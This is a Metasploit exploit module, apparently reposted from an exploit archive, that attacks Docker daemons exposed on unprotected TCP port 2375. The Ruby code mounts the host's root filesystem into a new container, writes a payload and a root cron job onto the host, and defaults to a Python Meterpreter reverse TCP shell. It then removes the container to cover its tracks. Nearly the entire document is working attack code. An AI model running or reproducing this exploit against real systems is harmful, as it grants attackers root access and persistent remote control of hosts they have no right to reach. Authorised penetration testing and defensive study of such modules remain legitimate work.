Docker Daemon Unprotected TCP Socket

Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp with tls but without tls-auth), an attacker can create a Docker container with the '/' path mounted with read/write permissions on the host server that is running the Docker container. As the Docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owned by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. The Docker image should exist on the target system or be a valid image from hub.docker.com.


MD5 | 2e0895a99e8f3feabc8340b9ea555f3f

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
'Description' => %q{
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
with tls but without tls-auth), an attacker can create a Docker
container with the '/' path mounted with read/write permissions on the
host server that is running the Docker container. As the Docker
container executes command as uid 0 it is honored by the host operating
system allowing the attacker to edit/create files owned by root. This
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
the host server.

The Docker image should exist on the target system or be a valid image
from hub.docker.com.
},
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
],
'DisclosureDate' => 'Jul 25, 2017',
'Targets' => [
[ 'Python', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse noconn none tunnel'
}
}
}]
],
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(2375),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
]
)
end

def check_image(image_id)
vprint_status("Check if images exist on the target host")
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri('images', 'json')
)
return unless res and res.code == 200 and res.body.include? image_id

res
end

def pull_image(image_id)
print_status("Trying to pulling image from docker registry, this may take a while")
res = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
)
return unless res.code == 200

res
end

def make_container_id
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

rand_text_alpha_lower(8)
end

def make_cmd(mnt_path, cron_path, payload_path)
vprint_status('Creating the docker container command')
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path

cron_command = "python #{payload_path}"
payload_data = payload.raw

command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
command << "echo \"\" >> #{echo_cron_path} && "
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"

command
end

def make_container(mnt_path, cron_path, payload_path)
vprint_status('Setting container json request variables')
{
'Image' => datastore['DOCKERIMAGE'],
'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
'Entrypoint' => %w[/bin/sh -c],
'HostConfig' => {
'Binds' => [
'/:' + mnt_path
]
}
}
end

def del_container(container_id)
send_request_raw(
{
'method' => 'DELETE',
'uri' => normalize_uri('containers', container_id)
},
1 # timeout
)
end

def check
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri('containers', 'json'),
'headers' => { 'Accept' => 'application/json' }
)

if res.nil?
print_error('Failed to connect to the target')
return Exploit::CheckCode::Unknown
end

if res and res.code == 200 and res.headers['Server'].include? 'Docker'
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
# check if target is vulnerable
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::Unknown, 'Failed to connect to the target')
end

# check if image is not available, pull it or fail out
image_id = datastore['DOCKERIMAGE']
if check_image(image_id).nil?
fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
end

# create required information to create json container information.
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
payload_path = '/tmp/' + rand_text_alpha(8)
mnt_path = '/mnt/' + rand_text_alpha(8)
container_id = make_container_id

# create container
res_create = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri('containers', 'create?name=' + container_id),
'headers' => { 'Content-Type' => 'application/json' },
'data' => make_container(mnt_path, cron_path, payload_path).to_json
)
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201

print_status("The docker container is created, waiting for deploy")
register_files_for_cleanup(cron_path, payload_path)

# start container
send_request_raw(
{
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'start')
},
1 # timeout
)

# wait until container stopped
vprint_status("Waiting until the docker container stopped")
res_wait = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'wait'),
'headers' => { 'Accept' => 'application/json' }
)

# delete container
deleted_container = false
if res_wait.code == 200
vprint_status("The docker container has been stopped, now trying to remove it")
del_container(container_id)
deleted_container = true
end

# if container does not deploy, remove it and fail out
unless deleted_container
del_container(container_id)
fail_with(Failure::Unknown, "The docker container failed to deploy")
end
print_status('Waiting for the cron job to run, can take up to 60 seconds')
end
end

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